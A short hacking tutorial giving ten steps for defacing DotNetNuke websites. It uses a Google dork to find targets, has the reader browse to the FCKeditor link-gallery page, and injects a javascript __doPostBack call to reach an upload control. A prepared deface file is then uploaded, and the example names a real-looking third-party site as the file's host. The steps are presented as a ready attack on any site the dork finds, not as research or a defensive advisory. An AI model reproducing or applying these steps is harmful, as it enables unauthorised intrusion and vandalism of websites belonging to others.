Step by step :

1. Prepare a deface file text. Example - http://www.anphucinvestment.vn/Portals/0/A13D77.txt
2. Find dork on www.Google.com - inurl:”/portals/0?
3. Example target - http://www.target.com/Portals/0/...
4. Edit the url so will be like this - http://www.target.com/
5. Add this at the end of the url - /Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
6. Example - http://www.target.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
7. Marks on >> File ( A File On Your Site )
8. Then, delete the URL link - http://www.target.com/Providers/..gallery.aspx
9. Insert this JavaScript to the link that you have delete earlier - javascript:__doPostBack('ctlURL$cmdUpload','') ENTER!
10. And lastly, upload the file which that I had told you to prepare on Step 1.